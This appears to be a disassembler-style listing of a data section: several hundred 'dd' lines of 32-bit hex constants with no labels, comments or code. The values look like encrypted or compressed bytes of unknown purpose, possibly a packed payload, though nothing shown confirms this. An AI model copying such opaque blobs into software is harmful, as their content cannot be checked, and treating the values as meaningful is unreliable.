		dd 9BAEDB03h, 0C2CA5B4Ch, 1A2F40DAh, 0CA800B7h,	32F6C035h
		dd 6A014195h, 6268E18Bh, 42F063F4h, 0CEDA093Fh,	5E802E93h
		dd 71C97398h, 0D9A85102h, 40CFB5E7h, 8966DCh, 8045E82Dh
		dd 8FF48C1Fh, 51DC4800h, 0D53923D9h, 2F9A0393h,	655D0D6Bh
		dd 9D4DC0E8h, 7754EA07h, 0A8474EE0h, 61F68B50h,	0F2A70002h
		dd 8985C3A9h, 0CA017C50h, 0ECAA3A56h, 32F0CDA3h, 0CEC500DAh
		dd 94B4D3EFh, 0A43CFE93h, 579C003Bh, 13F56DBh, 0D48E17F7h
		dd 21711331h, 32C39080h, 35BD07FCh, 2E41CDA4h, 0BFCCCABh
		dd 3B7A51h, 96F69164h, 0B22AACAFh, 1C4E6800h, 0CA4385CBh
		dd 16900EDh, 7BC2EF5Fh,	200367Ch, 973A219Bh, 18CC6FFAh
		dd 0A4F7D89Ch, 0A60040F2h, 0E8D7A091h, 0F4976ECBh, 14E20158h
		dd 0B8C0CC83h, 8480F0EDh, 2C52A700h, 96D485A6h,	0F1C40104h
		dd 43AC5F75h, 951820FBh, 8F0F24F4h, 870F81F4h, 0F7B0337Eh
		dd 2C78B8AEh, 540134Eh,	80252A61h, 0B71134D8h, 695A771Ch
		dd 9163A240h, 0F439B48h, 2A7AB06Bh, 0C8F90036h,	0DBEEB706h
		dd 347A6AF4h, 80199D3Ah, 13E7CE7h, 1C93DEh, 8A917ECAh
		dd 0CDA0AF43h, 556E6103h, 98BBED94h, 0D5B186h, 29EF7190h
		dd 36FB62A3h, 4CAC8400h, 0B8C499B6h, 72C01CAh, 1BBD46A0h
		dd 564730A4h, 1AA37C00h, 0C339AC9Ah, 459B0008h,	0CA13104h
		dd 0D47424B8h, 51A9DD0Fh, 20CBAF96h, 9248BFF2h,	0DE970017h
		dd 0FBB2A057h, 0FF00BB4Eh, 0C61BDBA2h, 7E274533h, 154700D2h
		dd 7D6AD91h, 0E500DEBFh, 43BC4C6Ah, 39C17A9Ah, 9C9D9052h
		dd 9698BFBh, 32ECB183h,	2D613488h, 433BFA00h, 6B93BF8Dh
		dd 13E29Ah, 596CE275h, 7D2A78AEh, 0EFAA2800h, 71F81AFFh
		dd 0F072E0h, 89B0DA46h,	0BC87FE63h, 97E36A1Dh, 0DEEA0641h
		dd 16D0C384h, 0E53C0031h, 0FF1C1ADh, 0EF01DAD7h, 0A1657634h
		dd 0CF70ECB6h, 0F72C0099h, 729FA36Ch, 4300080Ch, 4C85F548h
		dd 7B6D79E1h, 508003A6h, 70EFAB89h, 0B23B0288h,	5323D000h
		dd 2E514B5Fh, 31571B24h, 0B4C0199Bh, 0A0982A03h, 0CA10C301h
		dd 0DB409E9Ah, 222B3480h, 3B736184h, 0D9641501h, 0CBDF3807h
		dd 7D54ECh, 0C61D23D3h,	0EB4C09B8h, 8CA9DE00h, 1F905BD6h
		dd 0BD130FFDh, 6261A831h, 0DC7976D2h, 2600E460h, 0FAB36C7Bh
		dd 502A7750h, 0F8E39B44h, 0E6831686h, 47A20ED9h, 0DF890620h
		dd 6C00F275h, 403BE254h, 3B72B1FCh, 1103D527h, 866A4EF6h
		dd 0C6C836DBh, 210733BEh, 3EA727C5h, 0DA003017h, 79824EF8h
		dd 0AEE90055h, 0E174A6Ah, 3D0354AAh, 1B974DBBh,	1F08A064h
		dd 47A1A08Dh, 0B8A3039Fh, 0F62FE572h, 999BF0D8h, 0A900EDE0h
		dd 91424C28h, 0E90A3BDh, 2ED1835Ch, 0D9E7A0C0h,	0D31FC570h
		dd 0C6C062FDh, 0FB6375F5h, 0E968012Ch, 188261C7h, 0EBCCE409h
		dd 9ED79B0Eh, 0DD00F6FFh, 441BBFF3h, 3B70EA7Ch,	0A080C51Dh
		dd 5FDDF758h, 5E003623h, 0ED378A9Ch, 9A3FFDh, 53072284h
		dd 74E28BC5h, 0DC0BF507h, 1DE3FB7Fh, 0F357A8D6h, 0B72C005Eh
		dd 128A47EBh, 0A401364Ah, 6F2FBE84h, 78E85C3Eh,	729B00FDh
		dd 0D14943A8h, 0A3037F47h, 3B5F5738h, 0F2FBE8DFh, 0AFE0083h
		dd 0DEFAE192h, 5400BE24h, 0C3EA7E41h, 882E53h, 0E81A608Dh
		dd 72A7E702h, 5019F01Fh, 0EF752940h, 6E1F40DFh,	7A8051CBh
		dd 94CC01D9h, 8FBE0197h, 38837624h, 0DC93F417h,	2CE1282Ch
		dd 0D5C1D100h, 72992D3h, 346D2F73h, 0F49F703Dh,	103CEB0h
		dd 7884148Ah, 9B2AC045h, 2C36006Ch, 5E5D3C6Bh, 0EA00442Dh
		dd 41788610h, 0E3ECB4h,	4BE4B28Eh, 535AB650h, 0CF8F8200h
		dd 4F798337h, 816114B7h, 8000E0F4h, 0C5590A5Bh,	0EF07E576h
		dd 481B7221h, 0F5093333h, 0AF5CAEC1h, 0DD7070h,	1C3CF6DEh
		dd 8B080A39h, 0E16FC10Eh, 7BD000CEh, 0B6BB9h, 80A6977Dh
		dd 0E42809F5h, 0F7BDE106h, 74718185h, 3012EE6Fh, 0F510EEC1h
		dd 0F9702860h, 4C577D07h, 5840ED10h, 126D2A2Bh,	37EDE80h
		dd 40B6D1EEh, 265CA390h, 72F3E300h, 53D97D25h, 312D0008h
		dd 0BAD80E1Fh, 34020410h, 0F921A3E1h, 5624C074h, 28790080h
		dd 51184F76h, 750AD284h, 44C4129Ah, 0F93A7204h,	0CB136C91h
		dd 0F1F02FC1h, 0A39079h, 0ED2EEEC3h, 9A9869A3h,	3DAD7307h
		dd 9360B9CAh, 0F4FCE3C4h, 0B8C80089h, 36F4F82Eh, 531FE17Eh
		dd 5640C2D6h, 281EE2E8h, 0B8CF0098h, 0A8018B47h, 0BA006DCBh
		dd 0AA84FB2Dh, 313514h,	339694D6h, 0D747BFD2h, 8E9A6000h
		dd 0FDA155F7h, 0ECB1CBA5h, 14DB2D00h, 71008FB4h, 75EE58D8h
		dd 5544D596h, 0D087B86Ah, 6725B866h, 0EA768362h, 36B5FBB0h
		dd 63219CE5h, 5A2BA901h, 398082D8h, 1A0326D6h, 8B608A58h
		dd 856DC529h, 372D008Eh, 4C824559h, 0A600ACB5h,	4B4FCD6h
		dd 7DA9F81Ch, 9E59C0E0h, 0D64CE8A7h, 8C43760Fh,	0D903C0EEh
		dd 1673DF9Fh, 7A8121Bh,	0F18B69A8h, 0F0A51ADAh,	1500F296h
		dd 0FEDE84C0h, 0A9D559h, 8F616DC7h, 99F030F1h, 78EEE803h
		dd 7F7DD71h, 0F8BFF5D8h, 0EAE1CED3h, 0F4B975ECh, 720033F0h
		dd 0BDEE8934h, 1D047098h, 9D808FCAh, 0F6928CA8h, 4F0027A8h
		dd 0DBB77DB4h, 7F05895h, 6DCE1EE8h, 70CB85DCh, 25D45704h
		dd 0ED076C7Ch, 0A66AD02h, 29CEB6A0h, 50840C52h,	4B285A7Bh
		dd 0B8133801h, 65C74CEFh, 0CAF201h, 8E669Ah, 0C2DD93F1h
		dd 693BC6E8h, 54E73Ch, 0A760EC95h, 229AE93Fh, 9E228675h
		dd 898AEEE7h, 442508FCh, 51C0CA83h, 23AA7733h, 638A00A8h
		dd 0EDB29259h, 950135B8h, 7394C4D6h, 0DDE07C3Ch, 252801D3h
		dd 0C88B34A5h, 749141C6h, 9C7DC8E4h, 2E970500h,	904552BEh
		dd 952C0067h, 0DD66A5D8h, 1600DF1Ch, 844701F3h,	1C8D73Ah
		dd 67921F4Bh, 430FF211h, 100096D0h, 1666231Bh, 0C32EECh
		dd 0A6FE31FFh, 0A0831359h, 0ADE78BFh, 0F1DC3690h, 2A4F00D0h
		dd 610310EFh, 0FE3DDB00h, 0D9CEA58Dh, 9CBB00D6h, 202BB929h
		dd 0ED7721F0h, 0F29B98C0h, 3FB24012h, 4F0019F8h, 8822F173h
		dd 25003BA8h, 8E538D3Eh
		dd 730DB75h, 365C141Ch,	131110CBh, 0A41E1EEDh, 7B4BC923h
		dd 0C21F00BDh, 1D20EA53h, 7CF584E3h, 1BF28B0Eh,	0F929C07Dh
		dd 0E83DC9A4h, 0B8765C01h, 1AD7A820h, 0D470ECh,	778CFBD6h
		dd 5BA15968h, 2CF44900h, 15AA7193h, 0A0B8A3h, 0F9EBE80Ch
		dd 3AF6FA94h, 1C514E00h, 4D84A75Bh, 65EA007Dh, 476E3999h
		dd 0B7187280h, 0DF289409h, 0DAF12E03h, 91D200DEh, 7E243285h
		dd 8723263Dh, 28FDC9A7h, 3CE02FB0h, 204901FFh, 0B08CFAB5h
		dd 0C157DE1Ah, 0AA6090FBh, 0D0E03D03h, 0F7508780h, 2636EAFBh
		dd 4273D400h, 11D97240h, 0D8920048h, 0DE3F1BC3h, 0FB006CDAh
		dd 5D54241Eh, 0A0233h, 0AABDE473h, 4492C4FEh, 0A253F400h
		dd 80378BE3h, 7E1501BFh, 0C57762C7h, 0A434FC7Dh, 29BBEC00h
		dd 80B2A285h, 4BC300D2h, 680AD1EEh, 990077ACh, 0F352B802h
		dd 637C69h, 0C7543D55h,	0CBB473DAh, 0A070B91Dh,	8590B601h
		dd 0BED4D43Bh, 0D9E200DBh, 0F2694E14h, 39009BD0h, 95CD797h
		dd 3537FEh, 2DD18707h, 9860325Eh, 0F1447300h, 0ECA3A05Ch
		dd 379600E8h, 5B56804Ch, 0B97F85CCh, 42EE3D00h,	606C59FBh
		dd 3CC10720h, 909C1726h, 3D2B41F8h, 37C6F000h, 0CB535F30h
		dd 0BDA100C7h, 7D6F4A5Ah, 0F71C889Dh, 0B88003DBh, 0EE08E7A8h
		dd 1C570011h, 0EAD45DC4h, 9000BE3h, 0F73687E2h,	31B8E90h
		dd 97754ACDh, 0F1B8706Ch, 6900D509h, 0AD35FE4h,	1668CC0h
		dd 6572F84Ah, 70445CB0h, 640E55CDh, 0E0592B25h,	0C92A4812h
		dd 766A00A3h, 0F0068B0Fh, 0A02D298h, 0BEEBE05Bh, 0B26AC022h
		dd 5C2A1D97h, 0FA37C0DAh, 4646698h, 35DC3D02h, 0E344B417h
		dd 0DF8EA992h, 7B4EF4h,	0EF58A526h, 0C3041A72h,	0A2D4F000h
		dd 6EC6BBE1h, 62D000Bh,	0C80E9DEBh, 33003A7Eh, 7C546B5Bh
		dd 393532FDh, 0F003F72h, 70F3FFADh, 0D0005329h,	17A0051Ch
		dd 0BF3CA9h, 62CBF866h,	403D5EB3h, 0B004CE0Ch, 5724A9Ch
		dd 57E96CDDh, 9812ABh, 4442924Dh, 7A00BC47h, 9AD6CA67h
		dd 0F4AEC4h, 1DE6E121h,	4396B5C5h, 1AEB1400h, 0F9362D9Bh
		dd 3F3F7F84h, 0A00DD76h, 0DA04A7BBh, 0CF7C1EADh, 0B830BE07h
		dd 0AA11DC8Fh, 0AC423419h, 136041B2h, 0D2EDFCh,	0DCEF225Ah
		dd 71F47ECBh, 6D312600h, 0F27CC9F5h, 9C05075Dh,	104E43DBh
		dd 19E08521h, 50CAD903h, 0F8AD22C2h, 4152BC0h, 62A531C4h
		dd 0D482C0A2h, 2EF84DC7h, 0ABDDD100h, 32180BE0h, 732F0F74h
		dd 4D0FE107h, 71E44FE1h, 0C71EF044h, 161ED470h,	0DC8088C2h
		dd 0F9A9952Dh, 52CE0EEBh, 6F63BF91h, 1000A6D5h,	0ABC96613h
		dd 0E5F1534h, 60C57449h, 122C45h, 8AB3D058h, 0EE5E94C2h
		dd 58D493A1h, 19FD0052h, 47B43A29h, 0B6012669h,	0ED187DD4h
		dd 20807B89h, 0AA30EC0Dh, 0DC3D1DD2h, 297A01CFh, 0E3BDB373h
		dd 6FA81080h, 2E519921h, 0B405BC1Dh, 0AD00345Dh, 832681ECh
		dd 42950049h, 0FC841101h, 4C133A93h, 5B1FF273h,	0ADF0B084h
		dd 0EDC00080h, 0E4F50141h, 0DEA71A34h, 0CC0BD878h, 30F3443Bh
		dd 29B3F0A1h, 0A68403ABh, 0E132CDACh, 75D9B4F8h, 0F8AB100h
		dd 727631DBh, 0A766004Fh, 1C828D5Ah, 81005CA2h,	0E698631Bh
		dd 3F51D11h, 0D03B7049h, 6EF84B1Fh, 0B500E34Ah,	0CD41DE94h
		dd 0D86663h, 0C116A265h, 0BB4FFBEDh, 27EE2A00h,	0E2020A8Ch
		dd 0E57F0014h, 0EB8EF80Eh, 0A200AAE7h, 1E46539Ah, 7EA1CAh
		dd 0E1803A03h, 25EE32Ah, 0D7923600h, 6125DC52h,	1BC2396Eh
		dd 31826900h, 0D493CD1Ah, 60AF7104h, 0F1C05572h, 0F06DBA91h
		dd 0F1CB00B1h, 6B9D598Bh, 8F00FC81h, 3FE8949h, 311C12Dh
		dd 60C958CEh, 27D2D817h, 0CC1C21E1h, 0B409E35Bh, 31FDC2h
		dd 56B19F7Ch, 2E7576ABh, 25A6CEh, 0E70B950Ah, 47F404D4h
		dd 1E6FCA01h, 0AEE1F9ECh, 58CC70h, 8292B13Fh, 5ACC48A3h
		dd 4500B990h, 8DF24D67h, 0B0E246h, 0F91C0544h, 4F533FAh
		dd 0D18C9906h, 30D362h,	0E1FBEA54h, 5BACBD0Ch, 0AB197960h
		dd 0E77CE6B5h, 2090F5DCh, 9B00D4B7h, 5CB45238h,	3C591Eh
		dd 0A6C451ADh, 0BD6C7717h, 7300307Dh, 5B247F46h, 6DABA0h
		dd 1064FA09h, 1FCF54D0h, 0AA22E6C0h, 0F472563Ch, 16E90097h
		dd 0C83F5B9Dh, 6701B59Bh, 0A30F105Dh, 1C30D312h, 0A6B10755h
		dd 40BCD245h, 0BFBDF29Fh, 0A3D7CE00h, 79EE222Dh, 30DF0001h
		dd 422C4DD6h, 0C101AB93h, 0D1F20F80h, 91602D14h, 0F4D90E57h
		dd 0D4CC39Bh, 18005F18h, 71134886h, 1D5BC91Dh, 40ABA612h
		dd 4BEA809Dh, 0FC7767FDh, 0E776C800h, 792B0E58h, 0A7351FFBh
		dd 2C6C40D3h, 998CD675h, 9BD12A00h, 0B81DB1C8h,	48620094h
		dd 0A927FA9Ch, 68008CA8h, 0E6B65E8Ah, 54CFFE8h,	0D66B0328h
		dd 0EABC40C8h, 3296F50Eh, 2723A100h, 0DFF9826Ah, 8ACB4C75h
		dd 0D0151400h, 8DBEB7B9h, 32AA7000h, 1F5940C0h,	0CB4F001Bh
		dd 62A3D01Ch, 0DD00C874h, 0FE4CC3Ah, 0F08A46h, 0E754BA43h
		dd 0CA271BD1h, 0A00D0400h, 624C0FFh, 7D39005Fh,	0A8FE4AF8h
		dd 14009A20h, 0BFD42750h, 5BDC53h, 0CFCDED39h, 87DA432h
		dd 0C0992B00h, 62CCE929h, 0A0831285h, 0CFEF0E0Fh, 0E62E3920h
		dd 6C0C81B1h, 18FE0A27h, 9F4700A7h, 2003DD73h, 0E90B1219h
		dd 0E159586h, 31F4C03Ch, 780E60h, 5AEEA5C0h, 59ED8943h
		dd 7C4E4000h, 0CE3B5DB3h, 789902F1h, 9D621615h,	434FE3C0h
		dd 0A2249200h, 0A3060748h, 44A003Ch, 73FB355Bh,	0CE719B96h
		dd 2AEAD200h, 8A50D068h, 0A5BD0038h, 6482F98Fh,	0F0001C6Dh
		dd 20C06546h, 0E8F3A3h,	0FF5169D7h, 2C08E1C1h, 0A6F1721Eh
		dd 4F33EC80h, 0EE4247h,	14B21C22h, 0C3FE2C09h, 0AE1E2AFCh
		dd 3A8F2321h, 19E56084h, 4A7C81Eh, 48A5A183h, 0CFBA808Fh
		dd 0C6004D78h, 7B7FE5E9h, 3EBFFh, 22495BE8h, 1A966E4Eh
		dd 42415D0Bh, 0B7F50056h, 3B1C7BA9h, 17709B0h, 0E3CC0F1Eh
		dd 804DD47Ah, 15AEFB30h, 1C6A9E68h, 0C01CD9h, 19125614h
		dd 0A500C1B1h, 0C552AEF6h, 14C2B8E9h, 9402BC91h, 4C6E4E11h
		dd 7ADE1DB9h, 211072C0h, 1F0315ABh, 40236473h, 0AE59E16Dh
		dd 9D00D7E2h, 0DAB279CAh, 77941DCEh, 30EA245Dh,	649E0004h
		dd 0C192E40Dh, 759DB200h, 21CDCF35h, 0D96D0051h, 6391D031h
		dd 860068D5h, 416B1CF4h, 0FCFE60h, 0ABDC49DEh, 3A1B1504h
		dd 0CF00347Bh, 9819D410h, 0A4593Eh, 6E1FBDF1h, 71862860h
		dd 41724000h, 466820D2h, 6CCD0059h, 4EBAE7E1h, 0B40282CBh
		dd 6AB85137h, 46D0812Bh, 4C2080B9h, 0F5BB0049h,	81050431h
		dd 180082D9h, 0BDC0E9C4h, 12FF5A66h, 1F2796h, 952B7F2Ch
		dd 0AA181698h, 5E407E1Ah, 0BBE300F9h, 0F3E64EC0h, 0C200BF60h
		dd 3369D616h, 0BED1B5h,	2EF6ABA5h, 5E494129h, 9A036378h
		dd 8A23FC16h, 77EEA91Bh, 38919180h, 0EB2C3101h,	0CC6B6128h
		dd 0A93C4901h, 0C82021ACh, 18C45080h, 2FB6AF4Ch, 29068332h
		dd 1A9F403Dh, 840D005Eh, 249B2B18h, 0CD028F59h,	783A0DAh
		dd 0F7D08025h, 9E326C1h, 0BD0DAB20h, 0C8E7000h,	5E00F8E0h
		dd 17555FE7h, 26834Fh, 8A3B337Dh, 12A175FFh, 0A9E29A04h
		dd 0EC902CBAh, 10F6Bh, 0ACA45785h, 5302D7FEh, 4A01C676h
		dd 0DCE7BE3Eh, 0D0EF01DEh, 305F45A4h, 3EC90A6Fh, 0C403BA9Ch
		dd 0B6A781A1h, 4151B8EFh, 3B587283h, 8F00806Bh,	0B4AB9FBBh
		dd 0DA307FB2h, 56AD1092h, 0CE0B0044h, 9886A942h, 0F3E6E8A7h
		dd 29923Fh, 9372D44Dh
		dd 41373D3h, 71EAE27h, 0F8C480CBh, 23006F7Eh, 9A178E37h
		dd 418A97h, 4AE73071h, 6D75B8D4h, 54C74300h, 38FE73D2h
		dd 2621308Dh, 858BD311h, 0BB025503h, 0A3B7E345h, 18C5E0D0h
		dd 7E8014FDh, 0A630B80Bh, 2D4E5F31h, 69123505h,	0D080ADB2h
		dd 90270447h, 842F01FDh, 88317D4Ah, 6ECC456h, 0B7CFA900h
		dd 0C33CE825h, 308E0EC6h, 11C0714Eh, 6D70B863h,	8929C400h
		dd 0C93D9976h, 0ACD50E0Ah, 1DEA64E2h, 0B90900CCh, 0F2570D4Fh
		dd 7AD04B0Eh, 8920A391h, 0FFEBC896h, 48C33AB0h,	0D39D900h
		dd 0A88D9772h, 2026ED0Eh, 444D643Ch, 60A32C82h,	97C2354h
		dd 0A9038C04h, 59AF1800h, 660091BCh, 966D77A3h,	0F0609B62h
		dd 6CBA3C84h, 0DCF8A40Eh, 0FA72FEE0h, 0C217CCD4h, 1F006F53h
		dd 9FE125E0h, 0A2880793h, 70D42390h, 0C3A7D57Ah, 1E97DF18h
		dd 0E81168h, 0F63BDBD2h, 0A2166255h, 5F942800h,	769AE698h
		dd 0F00760A1h, 0DDDE47E2h, 5122FE00h, 9DD09F42h, 96C00123h
		dd 355D787Eh, 9E49C45Fh, 0D1F36B00h, 83192CA6h,	0E90E00EBh
		dd 8CD37A98h, 481D6EB5h, 64C0D69Dh, 0B7A37295h,	44220118h
		dd 0AD5B590Ch, 0D4602410h, 267A0900h, 4BBD5D91h, 53472C32h
		dd 18764050h, 0DD28CEFEh, 4400A46Ah, 0EE1EFC87h, 9CBFE5h
		dd 5E27685Ah, 0D0DA0F01h, 57D6EA05h, 0B000768Ch, 1C131462h
		dd 97AC00BBh, 274B40FDh, 23014209h, 218582FCh, 0F831B154h
		dd 0CECFC8h, 0C69F576Bh, 0A8E271B8h, 0C094744Ch, 6DC04EEAh
		dd 0A55200B3h, 49ED5516h, 3F7B485Bh, 1861D000h,	85D2C525h
		dd 95D42C92h, 0AAA20F90h, 0A3B3F2A3h, 2D598DE8h, 18857207h
		dd 3603996h, 8B8971h, 1CEA1B7h,	0BC730D28h, 75529F05h
		dd 0B080A2A9h, 90606AF2h, 870539ACh, 5D00C83Ah,	0FC98710Ah
		dd 0F7012079h, 0DC59F23Bh, 0A8EB4567h, 5A2DDh, 108F9EBEh
		dd 0D0735108h, 931F9602h, 681B9929h, 7243FD98h,	6970075Fh
		dd 30754EC4h, 0AC3080Eh, 0BCA06FE6h, 10034C8h, 0CF5161CDh
		dd 217B862h, 0BF6DFFC9h, 2862D43Bh, 22055363h, 751A15D7h
		dd 6A0C7880h, 1F440035h, 0FD0ECA81h, 2B00AD08h,	0D4DBAA53h
		dd 0FC6F26h, 2EAEC098h,	0EAE2E057h, 108C9E4Dh, 4A810B8Ch
		dd 0D0E6DFDCh, 7C01510Fh, 1F28BAA1h, 0D1CCA835h, 0EDE109A2h
		dd 0A4005B97h, 28052160h, 0C07DA100h, 0F04E9AB0h, 2EA60011h
		dd 3DE19939h, 0F4E4694Bh, 53512900h, 0B8D603DFh, 7DCB00ADh
		dd 7FDB859Ah, 1D729FBEh, 4F2D020Fh, 8FC2C0F5h, 3F9891FEh
		dd 4C85A66Bh, 80F1D73Ch, 3E8B595Dh, 40030AF6h, 827CCDDFh
		dd 0BF20B0BEh, 6D5009Fh, 163711ABh, 0D97936B3h,	75FAB800h
		dd 0E045E984h, 25E21CCCh, 7C62CE02h, 108027E9h,	3E689666h
		dd 0B416D800h, 47DE2BD2h, 20690044h, 0C8DF5D0Ch, 0D00CB51h
		dd 678BE003h, 8542A1h, 35A0FEE3h, 6C6C80Bh, 22005CB2h
		dd 86F56B1Fh, 0E2598C0Dh, 0B72B0041h, 144B1D38h, 1C0046A6h
		dd 0ED353A83h, 0B861A0EEh, 7827E93h, 716006BBh,	0EEFE0CDh
		dd 921FCA95h, 98802A7Eh, 64C2288Ah, 34A90185h, 293F9EC6h
		dd 1AED6061h, 0A23DE403h, 0DAD49B1Fh, 7898C4BFh, 3B9C0EEDh
		dd 0C15FD173h, 4162EABEh, 8010BF72h, 3E915429h,	12F09480h
		dd 0CD2863h, 37B39C40h,	0F60235FEh, 941C298Bh, 0DF1C407Fh
		dd 2A5E1D25h, 0E3D004Dh, 0B6AA59D2h, 8362110Fh,	5C2EA0E9h
		dd 9A9B3h, 0DE42D4B0h, 3B7F031h, 78516F00h, 83240CE0h
		dd 2747008Bh, 93A55D28h, 1A01F44Ah, 6C8FE90Fh, 0F020EA3Eh
		dd 7A8400FDh, 0EBE381CCh, 64E71034h, 6100F6B8h,	9A4FABFBh
		dd 1D06426Fh, 3C0A91Bh,	50FCE83Eh, 0EE0909Bh, 0C3FE0283h
		dd 2A2CF090h, 78160025h, 0FA5BC0Bh, 0DF1AE000h,	45BF09Bh
		dd 0C6F94127h, 0C0C0D06Fh, 151D43B1h, 1A05A47Bh, 198083FDh
		dd 0B21D203h, 11785E62h, 99726820h, 8D0E26CEh, 6088012Fh
		dd 4FF0E163h, 0C76E0EE6h, 0DE83F3h, 491B8DDAh, 9C00B667h
		dd 7E681164h, 39CA27BAh, 3B819D43h, 46C2EE79h, 0B3F03062h
		dd 246DE711h, 0AE8C8F00h, 0F1AC38D6h, 80351738h, 3655CA41h
		dd 48DA191Bh, 0E1D0080h, 4D720638h, 0EB041081h,	8217E09Fh
		dd 0ACFC8Ch, 8F5A2E13h,	0B0B6029Eh, 9CBC48h, 0F3D3AE32h
		dd 18CBA3BBh, 18C27051h, 0FAEEA8F4h, 19B36E05h,	0BD0018A5h
		dd 65FC9374h, 0E2721EC2h, 7C5ECFB1h, 0C17EE940h, 0F900B92Ah
		dd 771CE871h, 0D95CB7h,	1015FC8Ch, 0B85A6657h, 5687651Dh
		dd 0BBB2CE80h, 0D5AAF6h, 0B62FD1E3h, 0CF8A2776h, 60B8255Eh
		dd 67F4FA07h, 6E7530D2h, 1A00410Ah, 31C93A4h, 0A7ABD9h
		dd 8DE84E9Ch, 5BF2ACFEh, 12C8F81Fh, 8C203F9h, 66E2FCh
		dd 775DD098h, 0BCDAC646h, 513EDC00h, 27E1A8FEh,	3189C64h
		dd 88C67895h, 8F4656E0h, 994E6B1Fh, 0BDBA22C2h,	258E6F6h
		dd 85DCB08Ch, 3800DA01h, 126B69h, 7449477h, 0B86CAF76h
		dd 9131605h, 1C80658Ch,	94BD63Ah, 0D142E0B4h, 9B832400h
		dd 200F59Ch, 467BDB99h,	2DD861h, 0A83BB5A2h, 0FADE1C83h
		dd 5DCF08C9h, 270C7B01h, 0D067D1F6h, 963041A3h,	9B2C21FCh
		dd 45407D0h, 0C051A948h, 5C82D547h, 501C140Fh, 979C07CCh
		dd 0D7E906CEh, 1ED2F880h, 0B36441Ah, 1821E41Bh,	80490F2Bh
		dd 25F53440h, 0E0B8850h, 9052B4F0h, 0F2DA7F40h,	0F17E7BCEh
		dd 0D24D28C0h, 0A1C08086h, 2F08B6Ch, 52DB0ED1h,	4880A109h
		dd 86D790FDh, 8100167Fh, 4DE3E46Ah, 0C5A7EAh, 0F90FD479h
		dd 3EC754CDh, 0E688810Bh, 9FEF071Bh, 0BCA321C0h, 0C33A030Ah
		dd 50709CB9h, 0F11E8899h, 6F7730F6h, 1B08580Eh,	87C09C6Eh
		dd 784440Ch, 14D079Ch, 0E08E1EFDh, 0BB0C243h, 7ACC0800h
		dd 8C37D0ECh, 36D30FDAh, 0B86EBB8Ah, 7D4C9A60h,	0EE6EEE1h
		dd 27884700h, 0C6ACB251h, 0C46D0004h, 3C53ABE3h, 7AFEBA98h
		dd 0F837CB03h, 98677D79h, 705DC1Fh, 4D36E3F2h, 9DC6D0BBh
		dd 8C3FD520h, 0A98B01A7h, 0A2F571BDh, 0FEB1BBC4h, 925101F2h
		dd 85B928A6h, 23080B7h,	5A0B5BBEh, 83D505D4h, 40AEB34Ch
		dd 0DC2A47F8h, 260E2762h, 0B9DED461h, 68246008h, 0DCB20367h
		dd 508DA14h, 11FB28D0h,	0E65C2002h, 881CCAE2h, 3C80D898h
		dd 4E27ED61h, 33E4F80Fh, 0B2081735h, 0D85B2100h, 6B3EAEF3h
		dd 70F1004Dh, 8C476EF9h, 2300FC10h, 79DCD653h, 0C061B2BAh
		dd 1DDAD281h, 0A10035F2h, 0A52C62CCh, 0F605B7EAh, 0BECA0E06h
		dd 79614E22h, 0E0D41596h, 6A023641h, 0D71C041Bh, 1DACE00Ch
		dd 59B227AEh, 0EF805C8Fh, 0D2E43F0Fh, 0C1467206h, 6108BC4Ah
		dd 211421CBh, 7B35EC3Fh, 0EEF43100h, 0D420EBA5h, 8A010370h
		dd 1CE65AE9h, 56F3D906h, 520DF8Bh, 0D0AAD168h, 0E90485Bh
		dd 21ED63C0h, 157F214Eh, 3F5C4BBh, 6E85F3DAh, 89C0A30Eh
		dd 700FC3Eh, 20A92C1Ch,	7329BCDh, 17569A0Ah, 81E89ADCh
		dd 69E7A657h, 4274E016h, 40076000h, 3DDAFD7h, 0C4B60075h
		dd 0B85921FDh, 1000E38Fh, 0A623C4Ah, 322B29h, 8D0DB1EFh
		dd 85E8A36Bh, 5FE71700h, 573ADFEBh, 26CB3C3Fh, 98719A80h
		dd 4C6253D6h, 0C05F4700h, 8C03723Ah, 21C902BBh,	14E9FF79h
		dd 0D40A7540h, 66104E60h, 1B17255h, 1CDE35CAh, 6F326DFDh
		dd 9D43B0h, 0FF505D78h,	9E69EBDBh, 0E3F9F000h, 51D62CB6h
		dd 0B20D07C3h, 0C6DA5F13h, 0D3285088h, 0F60F044Eh, 83F8DDC9h
		dd 0C002DB51h, 3CBCD23h
		dd 55D6F263h, 38BBB564h, 8930A2E0h, 56194CEAh, 728F588h
		dd 0C3018C08h, 7EF637FCh, 0CA019E56h, 7F13104Eh, 1B8680F3h
		dd 629AFA40h, 343A5133h, 777E6F23h, 0DD0F4529h,	6A518857h
		dd 29DB983Bh, 0D400BFE5h, 71641D5Dh, 0C1BED3h, 4D536D77h
		dd 873D3C76h, 9DA88800h, 3EA26AD5h, 0C1F917FEh,	47460035h
		dd 63F3D1FFh, 0F1B05C00h, 0C8AE7AF0h, 5924020Fh, 0BD3E9A1Ah
		dd 159415E0h, 5318C760h, 0E896C8h, 14899C98h, 4CB0EDD1h
		dd 2725B200h, 5C7DA8Fh,	82D0030h, 864E851Ah, 230B3B55h
		dd 0F0D94DCh, 84EA207Fh, 0B2ED48h, 625FA43Ah, 127F0F35h
		dd 65FA99EAh, 4F6F4700h, 8C10AEFh, 341F8E6h, 125FA626h
		dd 300F3CEBh, 200C222Ch, 0A8CA97B5h, 0C3D70092h, 28BCE44Ah
		dd 0E80060D5h, 26C827C5h, 98BF6B0Ch, 471F00E5h,	8A76BBEAh
		dd 0EE000516h, 9896AC90h, 0A014DDh, 0C1852DC6h,	5D296DAAh
		dd 3A8B4E12h, 22884440h, 263897Bh, 72B5C2Ch, 0C2E0B4D9h
		dd 6E00A1C2h, 0CD64A2DEh, 7F574Eh, 5D370D83h, 0BD91BC05h
		dd 70CEC300h, 9BE2E1A1h, 0B65A0072h, 9623F1A5h,	8000C1F3h
		dd 798A5E09h, 2C82C82h,	8649E21Ah, 94803E53h, 0F1D982Ah
		dd 0D2697100h, 0E4E1EA7Eh, 24111DA6h, 5F803F87h, 0F08635C2h
		dd 630971CAh, 29F7D8h, 0A4BF7568h, 0B1E00045h, 3DC87C13h
		dd 1F00C926h, 35B0DDC3h, 2429FCF3h, 0BC1D9Fh, 0C4E5DE41h
		dd 0C8375C5Ah, 431078C6h, 6E0D9B91h, 0E1C0106Fh, 3801C04Eh
		dd 0B01AC709h, 9BAC21EFh, 0B12A3BA1h, 854CC416h, 48411900h
		dd 4A9D5C52h, 54E3007Fh, 0D01FFB90h, 81D35C3h, 1C1830E7h
		dd 0F9FAAA10h, 48D103ECh, 3B0444B7h, 8055657Ah,	98B479B2h
